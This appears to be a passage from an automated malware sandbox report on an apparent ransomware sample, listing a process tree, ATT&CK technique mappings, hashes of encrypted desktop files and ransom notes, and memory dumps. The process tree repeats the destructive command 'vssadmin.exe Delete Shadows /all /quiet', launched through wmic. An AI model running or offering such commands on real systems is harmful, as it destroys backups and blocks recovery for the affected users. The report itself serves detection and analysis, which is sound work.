- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1876

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:996

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1276

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:764

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1636

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1915609904-1400242751317885946-2056629828158640875910523623961716116093-708400240"
1⤵
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:564

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\DXEYWGO7.txt

MD5
7c366193b9b3a7f974793185ff360be6

SHA1
bec6c8710f7c1ec6add839717f055853a5057250

SHA256
423800d68c2448c10c44873b39786d7753957779edbfa55481afc1d431d2e8db

SHA512
aa9188e8fd0071f102c12d71d70a96c74e336dc0d6ba5922f77a6d6adcc87485f8ca76f64d9a156159716027aeafa58cfd03657f21b4bf3b04cafde7b2f8a256

Download Submit
C:\Users\Admin\Desktop\AssertOptimize.rtf.uxkhdcf

MD5
8d29516d7ff8707fad5ec37db984bc73

SHA1
9b6c12fd93cf0aa5071e23f44723f2bcf87b9edc

SHA256
e356189196a9f3039258670b63849bd98c76452b1c642c79dc706ac8414374d8

SHA512
28cf4f348f0366418ed7b81e5a7dc238c2c2297c4324331cab18b6b8392d13b358b3b27f2b3b049da3dd32c0b259ee8805651c62f6b2b25d9cefe453ea0d0515

Download Submit
C:\Users\Admin\Desktop\ConfirmApprove.crw.uxkhdcf

MD5
d13c0333a164585e53505c703905da65

SHA1
fefb21f5e8a1064f03e39cf7a543fd3c3101e69b

SHA256
2d15b21269dad6542be84750ed0e99e0008acd38ad6406f2b4c6da8462c7915c

SHA512
3408ec0f865dabb97ed92a94f81ed608ec5be138147ec8b6c6d36868763ba23ef5844f7c9030ab47b8e10e57a5ad8f2c40809cacceda4c6cd745cc4a077839b7

Download Submit
C:\Users\Admin\Desktop\ConvertToPublish.xlsx.uxkhdcf

MD5
2c583472eab221576d3da5cd773546d1

SHA1
1b8e20ff2c662582043862c0c13228e1fcda7ad6

SHA256
3eed9b99945954c07e79754116c3e19cb826d3bc6525769c2f35da6939c8b2ed

SHA512
1aaaa717ec6c938eb3aecbf00d1f46445be0217410f47c6fab4031ce0e94e6656fb3a90d8f8615b2cea4080cd53e68e4bd99e0f3468d21ac2a149bcd4f86c8d5

Download Submit
C:\Users\Admin\Desktop\DebugSkip.png.uxkhdcf

MD5
c75b7cc59a9b871d76284127d86e7ec1

SHA1
9337519ff10458f5c5b821c655e3d427a05c2c6a

SHA256
6d3a11f9c71194b07454d46767257bc2f887086aef19a9a2b414ea76db95742d

SHA512
eb1c1f1e74fa32e09bde1fe621c601b0ca7ec4f840e2c870d1ec74c82f81dbf013041cde44cd3f6a1f21706aad91ee0048c552fa12a22a716ec19df03cd7963e

Download Submit
C:\Users\Admin\Desktop\GrantImport.doc.uxkhdcf

MD5
06c1ec06a71010e9e7e758d1df2ea1cb

SHA1
e5f79ff8251b66962ec4ccfc1cb8337e6c5595c3

SHA256
e64f3e11457b7894b837aada1a1d887e80164942e325de9d399cb50cd5712387

SHA512
0b37c50adec4648d1e041a2224520c1c6be7c7d4ee5f9806bab7f7127c2c182726095304d8515b2a6acd5beb13f3b8982d828018ea7c3369253c9d4a52dddf24

Download Submit
C:\Users\Admin\Desktop\RenameDisconnect.odp.uxkhdcf

MD5
37869ca04fec18c4fbaab3e3d514cf9e

SHA1
f9991a1e6f73e22493fbaaaa974ef18d5496f6b2

SHA256
00dbb672357ac82a640f250827693cc2104b51617e01bb2a62033ddacf6591e9

SHA512
39a96a593a30c93629e3aab30aca803e00b322e6d16cdde75693e5e6d0610611a10be713d393cd1139a9f6af3804c61213197ec641cfd57b724867a8ed9a9c6a

Download Submit
C:\Users\Admin\Desktop\SkipAdd.png.uxkhdcf

MD5
d05701db254bb2d332ce84b2a1e67672

SHA1
3308c68142b5979fc89b574f63cab76f093be1b3

SHA256
7503b68044adffd6fec8aea62bf706e76e1357fdad1dfd9e19c51402c1dfd855

SHA512
e5ae3ccf10cd083b3fed113c371900c7890d84a10a9219d00f989660d6ca93a84ee459d1e66e16302fd79f8804de3dbdf6249f075dceed34f4719f430a205651

Download Submit
C:\Users\Admin\Desktop\SplitProtect.pot.uxkhdcf

MD5
875b687b71b8c01145098f3f5964014b

SHA1
ba62b26bcfc8d1cfb043ae61d4e87c61438a3a06

SHA256
7b7006f557016f159c0d7798e09c95e4f9ce161b452e1d78a8e7d8cb7dbb16c1

SHA512
cbf7bf0578908653f43b3e1169bbfa575aa36dd441b771b1f58d0cc8fc62f44fa997fc73d643cb272d219b38b1656dd64f2a376c6936622671f35cdb37acdc8e

Download Submit
C:\Users\Admin\Desktop\UnregisterUndo.pps.uxkhdcf

MD5
3214348bb4f0ad59ae4b450bc252e157

SHA1
30e39101f401bb8e4ca9acd343c54d0b809aa4e4

SHA256
8bdeed0ac50c9ae6307d6b67e5706d38e1eab6742c9beb5e38e9ef90c8dc1c77

SHA512
ffc943cd9dad5767688b2dc4b07ff831aa5021d928fed4a18053ddb7eb936e8e394cf9cf02d1647502bdf9f062d74a3329f35124ef9a4aacad3a231fda23ed90

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
762194dec56f3a41779d8ee75834b0bd

SHA1
b41ca8725bd9c387a5e8ad9f54d8ea71251053db

SHA256
eaa5a2cb99b39aa1cefc38807bc204cc7126cf5afe16bec007adbe0549b3d776

SHA512
abf93c896c7c08871f60cc6bf12b3d3e3310e059a35a7386d5f194df7db8a3e3485ccac840dd239d4680c72ef6e634cf56f34bdabbdbbf54bbaed85917cf4dbb

Download Submit
C:\Users\Public\readme.txt

MD5
762194dec56f3a41779d8ee75834b0bd

SHA1
b41ca8725bd9c387a5e8ad9f54d8ea71251053db

SHA256
eaa5a2cb99b39aa1cefc38807bc204cc7126cf5afe16bec007adbe0549b3d776

SHA512
abf93c896c7c08871f60cc6bf12b3d3e3310e059a35a7386d5f194df7db8a3e3485ccac840dd239d4680c72ef6e634cf56f34bdabbdbbf54bbaed85917cf4dbb

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/276-103-0x0000000000000000-mapping.dmp

Download
memory/364-95-0x0000000000000000-mapping.dmp

Download
memory/556-101-0x0000000000000000-mapping.dmp

Download
memory/564-91-0x0000000000000000-mapping.dmp

Download
memory/572-94-0x0000000000000000-mapping.dmp

Download
memory/824-96-0x0000000000000000-mapping.dmp

Download
memory/1124-73-0x00000000003D0000-0x00000000003D4000-memory.dmp

Filesize
16KB

Download
memory/1148-100-0x0000000000000000-mapping.dmp

Download
memory/1220-61-0x00000000025F0000-0x0000000002600000-memory.dmp

Filesize
64KB

Download
memory/1348-97-0x0000000000000000-mapping.dmp

Download
memory/1584-109-0x0000000000000000-mapping.dmp

Download
memory/1632-90-0x0000000000000000-mapping.dmp

Download
memory/1636-108-0x0000000000000000-mapping.dmp

Download
memory/1648-93-0x0000000000000000-mapping.dmp

Download
memory/1652-67-0x0000000001CC0000-0x0000000001CC1000-memory.dmp

Filesize
4KB

Download
memory/1652-72-0x0000000001D30000-0x0000000001D31000-memory.dmp

Filesize
4KB

Download
memory/1652-62-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1652-65-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/1652-70-0x0000000001D10000-0x0000000001D11000-memory.dmp

Filesize
4KB

Download
memory/1652-71-0x0000000001D20000-0x0000000001D21000-memory.dmp

Filesize
4KB

Download
memory/1652-69-0x0000000001D00000-0x0000000001D01000-memory.dmp

Filesize
4KB

Download
memory/1652-68-0x0000000001CD0000-0x0000000001CD1000-memory.dmp

Filesize
4KB

Download
memory/1652-64-0x0000000000300000-0x0000000000301000-memory.dmp

Filesize
4KB

Download
memory/1652-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1652-98-0x0000000002390000-0x0000000002391000-memory.dmp

Filesize
4KB

Download
memory/1652-63-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/1652-66-0x0000000001CB0000-0x0000000001CB1000-memory.dmp

Filesize
4KB

Download
memory/1672-88-0x0000000000000000-mapping.dmp

Download
memory/1688-99-0x0000000000000000-mapping.dmp

Download
memory/1768-87-0x0000000000000000-mapping.dmp

Download
memory/1796-111-0x0000000000000000-mapping.dmp

Download
memory/1808-92-0x0000000000000000-mapping.dmp

Download
memory/1876-112-0x0000000000000000-mapping.dmp

Download
memory/1984-75-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmp

Filesize
8KB

Download
memory/1984-74-0x0000000000000000-mapping.dmp

Download
memory/1996-102-0x0000000000000000-mapping.dmp

Download